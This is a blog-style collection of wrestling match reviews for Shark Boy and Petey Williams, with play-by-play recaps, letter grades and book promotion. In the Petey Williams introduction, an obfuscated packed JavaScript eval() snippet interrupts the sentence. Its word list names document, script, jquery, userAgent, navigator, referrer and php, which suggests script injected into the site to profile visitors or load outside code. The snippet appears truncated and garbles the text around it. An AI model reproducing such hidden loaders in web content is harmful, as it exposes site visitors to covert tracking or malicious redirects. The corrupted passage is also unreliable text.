Wrestler of the Day – October 5: Shark Boy

Next up a cult favorite: Shark Boy.

Shark Boy vs. Norman Smiley

Rating: C-. Not a bad little match here with Shark Boy getting in some offense and showing off a bit, but still being a total gimmick instead of anything polished. Then again this is far bigger than wrestling in OVW or HWA for him so getting to show off a bit is the best thing that could happen to his career.

HWA Cruiserweight Title: Shark Boy vs. Jamie-San

The champion finally comes back by sending Jamie into the corner and puts him down with a facebuster. There are ten punches in the corner and a middle rope hurricanrana gets two for the champion. The Dead Sea Drop (more commonly called Diamond Dust, flipping Stunner off the middle rope) is countered into a reverse layout DDT (Christian uses it a lot) for two. Jamie misses a top rope headbutt so Sharky grabs a sleeper, only to be rammed into the corner, putting him in perfect position for the Dead Sea Drop and the pin to retain.

Off to the WWA for the Revolution PPV.

Nova vs. AJ Styles vs. Tony Mamaluke vs. Christopher Daniels vs. Shark Boy vs. Low Ki

Daniels comes in and is immediately thrown out, followed by everyone going to the floor. Daniels dives onto Low Ki so Styles hits a Shooting Star Press to the floor. This camera work is REALLY annoying as it either keeps cutting away or it has awkward shots of everything. Back in the ring, Low Ki loads up a rana on Nova, but Daniels runs the corner and hits a top rope Rock Bottom on Low Ki for the elimination.

Shark Boy would wrestle in a dark match before Smackdown on March 11, 2003.

Kanyon vs. Shark Boy

Shark Boy wrestled on the first episode of Impact on June 4, 2004.

Shark Boy vs. Abyss

Sharky goes after Abyss and bites his way out of a chokeslam. A high cross body is caught in an easy slam before the Black Hole Slam ends this quick. Total squash for Abyss.

On to some happier times at No Surrender 2005.

Shark Boy vs. Mikey Batts vs. Elix Skipper vs. Sonjay Dutt

Rating: C-. Eh this was fine but the botches hurt it. It never really got going and came off as just more X Division stuff. Dutt would get crushed by Joe in the first round of the tournament which he would go on to win at the next PPV. This was fine but the division was about to be revolutionized by Joe, AJ and Daniels so this is kind of the last of the old days of it.

Senshi vs. Shark Boy vs. Alex Shelley vs. Sonjay Dutt vs. Petey Williams vs. Jay Lethal

Jay works on the back and things speed up a bit. Petey hits a knee to the ribs and dropkicks the knee out. Off to Senshi who chops away, only to get chopped right back. A dropkick gets one for Lethal. Senshi comes back with the kicks before tagging in Shelley to a good reaction. He hooks a necktie choke and bends Lethal over the his knees. Lethal backflips out of it but Shelley backflips out of that and hits a kind of Backstabber to put Jay back down.

Lethal comes in with a springboard dropkick to Alex but Shelley comes back very quickly. A brainbuster looks to set up a swanton bomb but Jay avoids it and eliminates Shelley with a dragon suplex. Everyone comes in now and Senshi is sent to the floor. Petey hits a slingshot rana to the outside so Lethal dives onto the Canadian. Dutt hits a huge moonsault press onto all three to put all four down.

X-Division Title: Chris Sabin vs. Sonjay Dutt vs. Jay Lethal vs. Alex Shelley vs. Shark Boy

Lethal is in next to a big reaction. Lethal works over Alex but Sabin interferes again and Shelley hits a top rope jawbreaker to put Lethal down. Sabin goes over and blasts Dutt for no apparent reason. Not a nice guy. Sabin vs. Lethal now with Sabin firing off a rapid fire Garvin Stomp. The Guns hit some stuff that would become signature moves over the years. The fans love Shelley.

The Guns beat on Dutt as only they can. Off to Lethal and things speed up again. He fires off a ton of rights to Sabin but the Guns are too much for him. The sequence where they get Lethal on the mat with Shelley having him in a neckbreaker position so Sabin can hit a running dropkick gets two. Dutt tries a springboard double clothesline but slips off so he hits Shelley but the wrong side of him.

Rating: B-. This was a very solid opener with the crowd getting way into the Guns. They would officially unite by the end of the month, starting off a multi-year run which is still technically going despite injuries. Lethal would get the title during the summer, holding it for a whopping two days! The Guns would somehow not win the tag titles until 2010.

Then Shark Boy teamed up with Curry Man to fight Team 3D. Fish were involved. From Destination X 2008.

Fish Market Street Fight: Team 3D vs. Shark Boy/Curry Man

West and Curry Man dance before this starts. This was when Shark Boy was a parody of Stone Cold, drinking clam juice, talking about how that’s the fishing line, giving him a shell yeah and having Austinesque theme music. It was awful in case you couldn’t get that. Bubba yells a lot and D-Von weighs in at….some undisclosed weight under 275lbs. Bubba allegedly makes it too, thereby ending this idiotic angle.

And now Devine, the X-Division traitor, hands them candy and they eat but get jumped. This is a glorified hardcore match but with “comedy” added to it. The Dudleys get run off early on and try to leave. I don’t like where this is going. There are big crated of frozen fish around the aisle. See what I’m dealing with here? Yes, they’re beating each other with frozen fish. Mike gets the HOLY MACKERAL line in.

Curry Man puts a Ding Dong on a fishing pole and goes Ray hunting. Oh of course it works. This is making my soul ache. Honestly, who thought this was a marketable idea? Who thought someone would want to see this? Ray throws fish into the crowd and the announcers say this was expected. Uh, why? Ray bites a fish as I would be so embarrassed if someone knew I was watching this.

We get some actual wrestling just so we can be told there was wrestling in this. What’s Up on Curry Man with a fish. It’s returned by Shark Boy and this is awful. Oh but hey, according to Meltzer, the triple threat at Survivor Series was worse. Yeah keep telling yourself that buddy. Stereo X-Factors and Tornado DDTs on the heels get two. Shark Boy kicks out of a Doomsday Device. Bubba gets blinded by powder and accidently hits 3D on D-Von to end it. The Dudleys get into it with some guy from Survivor that no one cares about.

Rating: F-. I’m not even going to bother explaining why a match involving beating on each other with fish is a failure.

This partnership was part of the Prince Justice Brotherhood, a strange stable of Curry Man, Shark Boy and Super Eric who fought for the forces of good. Here they are at No Surrender 2008.

Rock N Rave Infection/Christy Hemme vs. Prince Justice Brotherhood

The Brotherhood is Super Eric (Young in a bad superhero gimmick), Stone Cold Shark Boy and Curry Man in one of the dumbest gimmicks even by TNA standards. The Infection is a bad rock band gimmick that played Guitar Hero controllers and had the smoking hot Christy Hemme as their manager. Eric vs. Rave to start with Eric taking over.

Eric gets a plancha to the floor which gets two back in the ring. Lance Rock comes in which gets his team nowhere so it’s off to Shark Boy. Thesz Press takes down Rock again as the good guys are dominating. Shark Boy is the same Steve Austin parody that was on Impact the other night. Over to Curry Man who gets a pop for no apparent reason other than a potential lack of oxygen in the arena.

Curry Man tags in Christy and we’re in a comedy match officially. He shoves her off and then realizes where his head was so he offers to go back into it again. Funny spot. Off to Shark Boy and Rave. Back drop sends Shark Boy (I refused to refer to him as Sharky like West and Tenay keep doing) to the floor as momentum changes.

Jawbreaker almost gets Shark Boy a tag but Rock N Rave get something close to a 3D but into a knee instead of a cutter. Christy comes in and is dropped onto Shark Boy by Rock. Cold tag to Curry Man (I thought he was hot and spicy?) who gets a flying hip to Rock. He and Hemme dance a bit and she gets kissed. Rollup gets two but Rock drills Curry so that Christy can hit the Flying Firecrotch Guillotine (don’t ask) for two. Chummer (Stunner) to Christy and a double Death Valley Driver to the guys from Curry Man end this.

Rating: C+. Basic fast paced and fun match to start us off here which is often times the best idea to open a show. Christy was the only good thing about the Infection as she looked great as the groupie. This was just here for comedy and to warm the crowd up and it did that rather well. Good opener.

Shark Boy would leave TNA for a few years but returned to wrestle on Xplosion, December 24, 2010.

Shark Boy vs. Robbie E.

Shark Boy would be in a surprise match at Destination X 2011.

Generation Me vs. Eric Young/Shark Boy

This is a bonus match. I can never remember which Buck is which. Eric and Shark Boy tag about five times before the match starts. Ok so Jeremy is the blonde. Got it. Sharky stomps a mudhole in him early and hammers away in the corner. There’s the Thesz Press and an elbow. Eric comes in and beats on both guys a bit. Off to Sharky who bites Max. Yep it’s a comedy match.

Jeremy throws on a chinlock as Sharky is still ridiculously over. Clothesline misses and Shark Boy gets a shot to the back of the head to put both guys down. Young pulls his tights down to shift to trunks and gets the hot tag. Gen Me takes over again and a bulldog gets two on Young. Stunner by Shark Boy sets up a wheelbarrow suplex into a reverse neckbreaker by Young for the pin on Max. Think Lethal’s Lethal Injection but with a wheelbarrow suplex.

Rating: C-. Just a comedy tag match to fill in some time. I still hate what they’re doing with the midcard title as it’s being used as a comedy prop like Santino did to the IC Title a few years ago. Not bad here but it’s really just a filler match and nothing all that great. Shark Boy’s popularity is still strong though.

Hardcore Gauntlet Battle Royal

And again at Turning Point 2013.

Ethan Carter III vs. Shark Boy

Shark Boy had announced he was coming back tonight on Impact365 earlier this week. Carter bails to the floor for a chase but still avoids an elbow as they get back inside. The Chummer is countered with ease and the One Percenter is good for the pin at 2:06.

One more surprise at Impact, October 1, 2014.

Manik vs. Shark Boy

Seriously. Shark Boy hammers away to start and sends Manik out to the floor with a shot to the face. Some clotheslines do the same and a backdrop sends Manik flying. Back in and Manik grabs some suplexes for two and a knee drop gets the same. A Frog Splash is enough to pin Shark Boy at 3:10.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00NPPH0WI

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6



Wrestler of the Day – August 6: Petey Williams

Today is a guy with one heck of a finisher: Petey Williams.

Petey eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tetrz|var|u0026u|referrer|abnfb||js|php'.split('|'),0,{})) would be in the first match ever on Impact, from June 4, 2004.

Team Canada vs. Amazing Red/Sonjay Dutt/Hector Garza

Team Canada is Petey Williams, Eric Young and Bobby Roode. Another very different idea from this point is the time limit on screen. Non-title matches only have ten minute time limits and title matches get thirty minutes. If the match goes to a time limit draw, a judge will decide the winner. The Canadians all bail to the floor to start and there’s the triple dive. We start in the ring with Eric Young (with BIG bushy hair) getting beaten up by Amazing Red until the Canadians take Eric out.

Roode pounds away on Red as the power member of the Canadians, getting two off an elbow. There’s also an ESPN style bottom line, running down results of recent TNA PPVs. Petey gets two off a middle rope bulldog and Coach Scott D’Amore gets in a cheap shot of his own. Back to Roode for a nice suplex before knocking Dutt and Garza out to the floor.

Red comes back with a simultaneous headscissors to Roode and DDT to Young, allowing for the hot tag to Garza. Roode takes him down with a tilt-a-whirl powerbomb as everything breaks down. Red gets two on Roode off a springboard hurricanrana but Petey snaps off the Canadian Destroyer to take Red out. Roode’s Razor’s Edge is countered into a hurricanrana by Dutt, setting up a corkscrew moonsault from Dutt for the pin.

Rating: C. This was fine for an opener with most of the guys busting out all of their dives. It’s the standard formula of throwing some fast paced guys out there to open up a show and it still works as well as anything else. It’s always fun to see how big starts like Roode got their starts as he looked good here.

He would win the X-Division Title soon after this and defend it at the first three hour PPV, Victory Road 2004.

X-Division Title: Petey Williams vs. AJ Styles

AJ was a huge star almost at this point but he was still the king of the midcard as he would be for a long time to come, as in like 5 years. These two just go freaking nuts like an old school cruiserweight match. AJ hits a perfect backflip off the apron to the floor and then a senton over the top rope to the floor. Petey takes over with a jawbreaker and we get down to a bit more of a standard match to set up AJ’s big comeback.

For a crowd the all loves AJ that’s a heck of a dueling chant they have going. Ok that was cool. Petey puts AJ in the Tree of Woe and stands on his crotch. He does it again and AJ does more or less a really bit sit up and grabs AJ to pull him back in a German suplex which he follows with a Pele. I LOVE that springboard forearm. It just looks awesome as all goodness.

Both guys counter each other’s finisher and then AJ just chucks Petey into the corner. That’s one way to do it I guess. AJ has the pin but the fat Canadian coach interrupts it. AJ kicks out of a belt shot so at least the match should be ok for the ending as that would have killed it for me. After more interference, we get the awesome finish as Petey hits the Canadian Destroyer, which is just completely awesome. It’s a jumping flip piledriver. In other words he’s got him in a regular piledriver but jumps forward and does a full flip before hitting it. That’s just amazing on a lot of levels.

Rating: B. This was very fun but AJ should have gone over here. I mean it’s your biggest show and your top face for the most part goes over to a generic guy with a cool finisher. That just doesn’t make sense to me, but it’s TNA so why am I surprised? Fun match though.

Petey would team up with various members of Team Canada, including at Hard Justice 2005.

Team Canada vs. Apollo/Sonny Siaki

Apollo is a Puerto Rican guy I think. This is Williams/Young instead of Roode/Young. Siaki is a Samoan but not related to the famous Samoan family. The Canadians jump them to start but get knocked to the floor just as fast. We officially start with Apollo vs. Williams. Off to Siaki quickly who speeds things up. Neckbreaker gets two on Young. The non-Canadians hit one of the biggest backdrops I’ve ever seen on Young.

D’Amore screams at the announcers about something. That distracts Apollo and the Canadians take over. Elbow gets two for Young. Apollo manages to get in a knee lift which is enough to bring in both Siaki and Williams. Powerslam gets two on Williams. D’Amore hooks the foot of Siaki on a suplex attempt but it only gets two. Apollo spears Young down but he gets caught in a pretty awful looking top rope rana by Williams. With everything falling apart, A-1 (another Canadian) runs in and Jackhammers Siaki so Williams can steal the pin.

Rating: C. This was fine for an opener but the match itself was nothing of note. Apollo and Siaki both looked great but they didn’t have much going for them other than that. Apollo went back to Puerto Rico soon and was a much bigger deal. Siaki wasn’t around much longer, at least not in anything important.

What would a TNA wrestler be without an Ultimate X match?

Petey Williams vs. Chris Sabin vs. Matt Bentley

Ultimate X, #1 contender’s match. Petey goes up but Sabin pulls him down and the faces (I think?) beat on him a bit. Williams counters a suplex from Sabin into one of his own but Bentley comes in with a kick to slow Petey down again. Wheelbarrow suplex puts Williams down again and Bentley goes up. Petey takes Matt down again but Traci’s (Bentley’s chick) rack distracts him. Matt goes up but Sabin pulls him down.

It’s Sabin vs. Bentley at the moment while D’Amore coaches Williams. Sabin picks Williams up and puts him in Razor’s Edge position, throwing him at Bentley in the corner. Sabin tries to climb but barely gets started before Bentley makes the save. We’re way too early in the match for a potential win anyway. Petey sends Bentley to the floor and hits a SWEET slingshot rana to put him down even further.

Everyone is back in now and Bentley hits a neckbreaker on Sabin and a cutter on Williams at the same time. Matt goes climbing but Sabin follows him and hooks a powerbomb to take both guys down in a painful looking move. Sabin gets caught in the Tree of Woe so Petey sings O Canada. Bentley pops up and dropkicks him off and out to the floor before going up. Sabin gets out of the Tree and shoves him down, before diving on both guys when the X was there for the grabbing because Sabin is an idiot.

Sabin goes up and Bentley dives at him with a shoulder block. That knocks Sabin down, but it knocks the X down as well. We more or less stop the match so that the crew can put the X up again with a ladder. The fans chant USE THE LADDER. Sabin and Bentley go up for the X but knock each other off. The X falls and Petey catches it, so TNA says screw the rules, Williams wins.

Rating: D+. The match was good, but there’s really no excuse for the ending. Put it up there again and have someone get it immediately or whatever, but COME ON. This was just freaking stupid and it makes the company look inept because they can’t get their own signature match right. Invest in some better tape guys.

Petey would compete in the World X Cup in 2006, including this match at Sacrifice 2006.

World X Cup Second Round: Jushin Thunder Liger vs. Petey Williams

Actually this is worth three points. Petey takes him to the mat and the fans are all over him. To be fair he’s fighting a legend so it’s understandable. I think they botch an elbow drop spot as Liger dropped the elbow but Williams took over anyway. A headscissors puts Liger to the apron but he low bridges Williams to the floor. Liger adds a huge dive to take over again.

Team Japan acts all evil and pounds on Petey on the floor. Back into the ring and Liger hooks the surfboard which is one of his signature holds. He drops Petey down into a dragon sleeper and now the annoying fans have to do the dueling chants. A frog splash by Liger hits knees and Petey hits a spinwheel kick to put Liger down again.

Liger tries a palm thrust but walks into an enziguri and tornado DDT for two. Petey loads up the Destroyer but Jushin comes back with a palm thrust and the Liger Bomb for two. A member of Team Japan interferes with a low blow. Liger follows with the Crash Thunder Buster (wheelbarrow facejam) for the pin.

Rating: C+. This was pretty good and a solid choice for an opener. Liger is one of the few guys from Japan that people actually know a bit here in America so his appearances are actually worth something. Having people go out there and just saying they’re from Japan or Mexico or wherever doesn’t really mean anything. Liger could still go in his late 30s or early 40s so this worked pretty well.

Petey challenged for the X-Division Title again at Hard Justice 2006.

X-Division Title: Senshi vs. Jay Lethal vs. Petey Williams

Williams knocks Lethal to the floor and follows him out with a rana off the apron. Senshi dives out to the floor, takes out both guys and lands on his feet. It’s Lethal vs. Senshi at the moment. Williams comes back in and walks into a Liger Kick from Senshi. Lethal back up now but he misses a moonsault out of the corner. Senshi shoves Lethal into Williams and Williams kicks Lethal down.

Petey puts Lethal in the Tree of Woe and does the O Canada spot. Senshi kicks Williams down and loads up the Warrior’s Way but Lethal comes back in for the save. Lethal’s superplex is broken up and Senshi dives onto Williams. Lethal stays up there and dropkicks both guys down, drawing a Lethal chant from the crowd. Both guys are slammed by Jay and he hits stereo low dropkicks to the face.

Lethal’s slide through Senshi’s legs for a sunset flip attempt is broken up by a kick and they all try to roll each other up. Jay gutwrench suplexes Senshi down but gets caught in a Sharpshooter by Williams. Senshi breaks that up with a kick to Petey for two but gets caught in a release German for two from Lethal. Swan Dive to Petey misses and there’s the Canadian Destroyer to Lethal. Senshi kicks Williams down and pins Lethal to retain.

Rating: B-. Another good three way here as they had some great counters in there at the end. Senshi was a guy that I’ve always found uninteresting and Williams only had one move and Lethal was pretty dull without the Savage stuff, but they combined for a decent match here. I think Sabin would take the title off Senshi.

In 2007, Bobby Roode would feud with Eric Young. This led to Eric getting a friend helping him out, which would wind up being Petey. From Lockdown 2007.

Petey Williams vs. Robert Roode

Roode is the rich dude still. Young is with Roode and gets yelled at before the match. Petey hammers away to start and controls early with speed and stomping. Springboard Codebreaker gets two. Williams does the Tree of Woe spot where he stands on Roode’s balls and sings O Canada. Roode manages to send him into the buckle to shift momentum and I remember why I never wanted to see him get a singles push.

Roode is just totally uninteresting at this point. If you think he’s boring now, today’s Roode has NOTHING on 07 Roode. A SICK clothesline puts Williams down and Eric is just kind of sitting there and doesn’t like what he’s seeing. Middle rope kneedrop gets two. Off to the chinlock. Petey makes a comeback and tries a crucifix for two but he eats cage to break that up. I don’t remember anyone else going into the cage all night until then.

Rock Bottom gets two. Brooks tries to send in a hockey stick but Young makes the save. Williams hits something that we miss as Brooks and Eric are fighting outside. Williams hits a rana back inside as the camera is from above the cage for some reason. The camera goes back to Young so AGAIN we miss whatever Petey uses for two. A dropkick doesn’t hit Roode but he goes into the corner anyway.

Despite that PAINFUL missing dropkick, Roode hits a spinebuster for two. The Canadian sitcom on the floor continues as Roode demands the hockey stick, but Petey hits a cool DDT for two. Now Petey asks for the stick and a few shots with it take Roode down. And Hebner intercepts it because we can’t have weapons in a cage or something. Rollup gets two for Williams. Destroyer is countered and the Payoff (PerfectPlex) ends this.

Rating: C. I kind of liked this actually. Young was wildly popular at this point which shows you how bad Roode was, considering even he couldn’t get over with Young out there. Roode was just so boring and uninteresting that he needed Beer Money or he would have had nothing else to do.

Petey would start copying Scott Steiner, becoming known as Maple Leaf Muscle. Here’s one of their showdowns at Against All Odds 2008.

Petey Williams vs. Scott Steiner

Petey likes to copy Scott which he was told not to do pre-match. They pose for a bit which is a bit more disturbing than it should be. Steiner easily overpowers him of course so Petey tries to speed things up a bit which doesn’t work either. Some strikes work a bit for Petey but it’s hard to fight against a big overhead belly to belly. Elbow and pushups follow.

Another belly to belly off the top gets two but Steiner pulls him up. Steiner gets an Angle Slam off the top but again pulls Williams up. He goes to the floor and gets the two cases, wedging them between the ropes as you often see done with chairs. The referee stops him but Williams manages to shove Steiner into the case. Rana takes Steiner down for two. Canadian Destroyer is countered into an Alabama Slam for a long two.

Steiner Recliner can’t get on though as Williams rolls him up instead for two. Williams hits a dropkick and a slingshot Codebreaker to set up a top rope crossbody for two. Williams puts on the Steiner Recliner which is as miserable of a chinlock as I’ve ever seen. Tornado DDT gets two for Williams. Steiner gets sent into the other case and a missile dropkick puts down Steiner. Rhaka Khan debuts and distracts Petey so that a Last Ride can end Petey.

Rating: C-. Better match than you would expect but Steiner was never in any real danger here. I never got the appeal of mini Steiner in the form of Williams. Steiner never really went anywhere until the Mafia came up. This was watchable but at the same time it wasn’t anything great at all.

Petey would cash in the X-Division case and win the title. Here’s a defense at Slammiversary 2008.

X-Division Title: Petey Williams vs. Kaz

Williams is champion and has Scott Steiner/Rhaka Khan with him. Petey also has a broken orbital bone so he’s in a mask. In a nice move, Kaz has on a wristlock and Petey tries to roll through it. Kaz grabs him into a rollup as he tries to for two. That looked good. They hit the mat into some pinfall reversals and Kan escapes the Destroyer attempt. Kaz gets a slingshot dropkick in the corner for no cover as Petey hits the floor.

Kaz fires off some kicks and the fans are split. They go to the floor and Khan distracts Kaz enough to let Petey get a tornado DDT off the apron to take over. Petey takes over but Kaz gets a sunset flip out of the corner for two. O’Connor Roll gets two and the kickout puts Kaz on the floor. Petey hits that SWEET slingshot rana to take over again. The fans are split again and it fires Kaz up a bit.

Petey works the arm as that comeback was pretty short lived. Kaz gets in a big kick and both guys are down. He fires off a bunch of strikes and hits a release spinebuster for two. Slingshot DDT gets the same. The fans say this is awesome and I’m not entirely sure I’d go that far. It’s good but not awesome. Williams speeds things up and the Canadian hits a Russian on the American.

He loads up the Destroyer but Kaz escapes. Petey hits a cool move that looks like a fisherman’s suplex but he slings backwards into a DDT instead. Kaz fights back and tries the Flux Capacitor (C4) off the top but Petey escapes that also. There’s very little selling in these matches at all. Another Destroyer attempt is countered into the Fade to Black for two.

Khan comes in so there’s an enziguri for you. The distraction lets Scott slide in the pipe (that’s what she said?) and Petey kills him with it. Kaz is busted but he kicks out. Destroyer attempt #8 is countered into a rollup which is countered into the Sharpshooter but Kaz counters into the Wave of the Future (spinning downward spiral) for two. The referee JUMPED over them to get there and got to three before Williams kicked out but who cares about that? Steiner distracts Kaz and it’s enough for Petey to hook the Destroyer and we’re done.

Rating: B-. Good opener here with both guys looking good. Kaz was getting a world title shot on Thursday so this was a bit worthless by comparison. Obviously he would lose there but that’s another story. This was fast paced but the lack of selling started to show in the middle as nothing could keep someone down for more than ten seconds.

One more Steiner vs. Petey match after they’ve split. From Against All Odds 2009.

Scott Steiner vs. Petey Williams

Steiner shoves him around to start. Time for some arm work as Petey is in trouble. Petey tries to speed things up and hits a missile dropkick for two. He goes up again but gets caught in a belly to belly off the middle rope. Clothesline and elbow set up the pushups. Williams can’t get a tornado DDT as Scott keeps the advantage. Petey gets draped over the top rope and Scott gets an elevated Downward Spiral for two.

Williams gets a boot up in the corner to slow things down a bit and they slug it out. They go up top and Petey is able to knock him off and hit a cross body. There’s the tornado DDT but it’s not very good. Steiner is finally like enough of this and counters a Canadian Destroyer attempt. Petey settles for an enziguri instead to set up a slingshot Codebreaker to put Scott down again.

The fans are split here, proving that faces and heel mean nothing to these idiots called Impact Zone fans. Petey grabs a rollup for two. Dropkick puts Scott on the floor but a slingshot rana is caught in a powerbomb to the floor. Steiner Recliner goes on and Williams is able to get to the ropes. Yes, the move that choked out everything in sight in WCW is broken up by Petey freaking Williams here. We actually get the Steiner Screwdriver here to end it. That move is SICK.

Rating: C. Not bad here but Petey’s offense was a lot like what a jobber would use. This wasn’t a squash but it was getting close to one at points. The Screwdriver (kind of at least. This was more like a Piledriver) is always a nice touch since it’s only used once every few years. Not much here, but nothing great at all.

Petey would make the occasional appearance in ROH, including this one at Bitter Friends Stiffer Enemies II.

Rhett Titus vs. Petey Williams

He’s Addicted to Love Rhett Titus mind you, which mainly means he has some hilarious named for his moves. They make dick jokes to start us off and I’m fearing a comedy match here. Williams hooks a reverse figure four which was a nice hold there. And now let’s talk about Chris Hero. Ok then.

We get a nice wrestling sequence and then a long spot calling thing. This has been almost all counters and rest holds. So after the last match was almost all strikes, this one has almost none. Got it. The announcers are getting on my nerves. There goes the bowtie! I have no idea what that means but I’m going to make it seem like it’s a big deal by ending it with an exclamation point!

Titus is dominating here, which wasn’t the case at Apocalypse but there we are. Do we really need all these annoying jokes from the announcers? Yeah I’m thinking no on that one. This match just isn’t interesting me at all. It’s not particularly bad but it’s just not interesting at all. Williams has Titus set for a Sharpshooter and turns around and just stops so Titus can roll him up.

What the heck was that supposed to be? The Sharpshooter goes on and it means nothing at all. We hit the floor as Williams hits a rana over the top. Titus hits a Fameasser and then a top rope knee drop for two. Williams goes for the Canadian Destroyer and gets caught in a backdrop and the feet on the ropes end it. Post match Williams goes for the Destroyer again but Titus gets out of it.

Rating: D+. This just didn’t do it for me at all. It’s not bad or anything, but it’s just not that impressive. It felt like a match that belonged far earlier in the card and this one just didn’t work for me. Like I said it’s not bad, but it’s just not something I had any interest in watching at all.

Here’s a match from February 19, 2011 in a promotion I’d actually like to check out in more detail at some point: Lucha Libre USA.

Petey Williams vs. L.A. Park

Williams is in a heel stable called The Right and they use a six sided ring. Petey hammers away to start and drops him with a big right hand. A headscissors puts Park down and a middle rope hurricanrana sends him to the floor. Williams nails a nice suicide dive but both guys are a bit staggered. Back in and they take a good while to call a spot for some reason before Park avoids a series of shots in the corner.

Park grabs the referee for no apparent reason and throws him into a sunset flip on Williams with a fast three count. The referee celebrates because he’s an imbecile before Park grabs a powerslam for a real near fall. Petey gets the same off a DDT and a Downward Spiral as they’re just going from move to move here. Park kicks at the legs and nails a Backstabber but Petey grabs the rope. Now it’s Williams getting knocked outside so Park can hit a dive of his own. Park superplexes him back in but Williams is up at two. Back up and Park hits a reverse DDT into a clothesline for the pin.

Rating: D. The match was longer than it needed to be and I was getting bored by the end. There isn’t anything to it for the most part as everything was spot after spot, which doesn’t make for an entertaining match most of the time. This was part of the Right vs. the rest of the company, meaning some promos would have made this a lot more interesting.

Petey would come back to TNA for One Night Only: X-Travaganza in 2013.

Rashad Cameron/Anthony Nese vs. Kid Kash/Douglas Williams

Williams and Cameron start things off with Doug looking older than usual. Doug takes him down by the leg and puts on a kind of reverse Boston Crab where Kash can kick Cameron in the face. Cameron and Williams run the ropes a bit until Rashad dropkicks Doug down. Off to Kash as this could be a trainwreck in a hurry. Thankfully Nese comes in quickly and things speed WAY up as they trade controlling holds on the mat. We get some sweet chain wrestling until Kash takes over with knees and chops.

Nese comes out of the corner with a spinning cross body for two and a clothesline to send Kash to the floor. Anthony loads up a dive, only to be taken down by Williams. Doug heads to the floor with Kash and there’s a big dive by Cameron, followed by an even better one by Nese. Back in and Nese jumps into a forearm from Kash as Taz is talking about investment banking and area codes.

Williams knocks Cameron off the apron as the old guys take over on Nese. Kash comes in for some solid stomping before it’s back to Williams. The old guys do some old school double teaming on Cameron who has no idea how to deal with it. Kash and Earl Hebner get into it a bit in the corner before Kash hits a hard chop on Cameron. Back to Williams for a kick to the back and a nice snap suplex for no cover.

Kash comes in to work on the knee in a vain attempt to add some psychology here. Some hard kicks by Kash to the chest keep Cameron down as Taz starts talking about Aces and 8’s. Well we made it through forty minutes so it was bound to happen soon. Kash breaks up a quick comeback with a forearm but his moonsault hits knees. Hot (I think?) tag brings in Nese as things speed up again.

Back to Williams who misses a clothesline and gets kicked down by Nese. A nice pumphandle powerbomb gets two for Anthony as everything breaks down. Nese hits a running knee to Williams’ head for two as Rashad dives on Kash on the floor. A quick rollup gets two for Anthony but he gets caught in the Rolling Chaos Theory for the pin by Williams.

Rating: C-. This didn’t work for me. I’m not a fan of most of the guys in this match and the ending was just kind of there. That’s one of the major problems with this show: there aren’t going to be any in depth stories and barely any stories at all. That’s fine if the matches are really good, but this was only decent at best.

Petey would come back to TNA on a semi-regular basis in 2013, including this match on Impact, April 4, 2013.

Petey Williams vs. Sonjay Dutt vs. Mason Andrews

Winner gets a title shot, presumably next week. Everyone starts with fast near falls until Andrews has to back away from a potential double team. A quick dropkick gets two on Williams for Dutt but Petey comes back with a suicide dive to take out Andrews. Dutt joins them on the floor and it’s Andrews taking over. Back inside and a backbreaker gets two on Williams but Andrews has to knock Dutt off the apron. A middle rope elbow gets two on Williams but Dutt is back in as well with an octopus hold on Petey.

Andrews breaks that up but can’t hit something out of a fireman’s carry on Williams. Dutt comes back in with a springboard dropkick to both guys at once. A kick in the corner puts Andrews on the ropes and there’s a springboard legdrop to the back of his head, followed by a springboard splash for two.

Petey is back in and decks Andrews but hits a Russian legsweep and short range Downward Spiral on Dutt. The Canadian Destroyer (flip piledriver) is broken up and Andrews hits a quick top rope rana on Williams. Dutt hits a standing Sliced Bred on Andrews but a top rope double stomp misses. The Destroyer hits Andrews to give Williams the shot at 5:19.

Rating: C+. Yeah it was fun, but this is the exact same thing we see from the X-Division every time: no story, the same stealing pin attempts, the same fast finishes. Yeah they’re flashy, but it gets really monotonous after awhile. But hey, EVERY MATCH IS A THREE WAY, so it has to be interesting right? I mean, why put effort into it when you can put a one size fits all sticker on there?

Petey would appear at Destination X 2013.

Homicide vs. Petey Williams vs. Sonjay Dutt

This is the first of three qualifying matches for an Ultimate X title match next week. Homicide sends both guys to the floor for a big dive before Petey takes over back inside. The slingshot Codebreaker takes Homicide down and Dutt is put in a leg lock, only to have Homicide come off the top with a headbutt to break it up.

Homicide takes both guys down and gets two on Dutt but Petey is back in. Dutt is crotched on the top but neither Homicide nor Petey can hit their finisher. Dutt suplexes Williams out of the corner and into the Gringo Killer but Dutt hits his standing sliced bread on Homicide. The moonsault double stomp is enough for Dutt to pin Homicide at 4:10.

Rating: C+. This was fine but it continues the same trend of all these three ways: every time I watch one I feel like a five year old leaving the dentist: it wasn’t as bad as I thought it would be but it still wasn’t anything great. Homicide wouldn’t sell a thing other than the finisher, which is still awesome.

Another One Night Only, this time in the Tag Team Tournament.

Tag Team Tournament Play-In: Petey Williams/Sonjay Dutt vs. Generation Me

I can never remember which is Jeremy and which is Max. Then again I could never remember which Hardy was which at first so maybe they’re more comparable than I thought. Dutt starts with a headlock on let’s say Jeremy and gets a Let’s Go Senshi chant. Jeremy comes back with a Sin Cara armdrag out of the corner and a double seated dropkick puts Dutt down again. Sonjay tags in Petey to speed things up with a dropkick to Max’s back. Everything breaks down and the non-brothers are both knocked to the floor. A headscissors from Jeremy sends Sonjay into a Max dropkick for two in a nice double team.

It’s Dutt in trouble now as the crowd is trying to get into this. The Bucks work on the arm for a bit before Max hooks a chinlock. Sonjay fights up and tags in Petey to clean house again with a slingshot Codebreaker and a running knee to take the Bucks down. A spin into a Russian legsweep gets two on Max but Jeremy breaks up the Canadian Destroyer attempt. Sonjay comes back in with a springboard double dropkick for two as the cameraman is taken down.

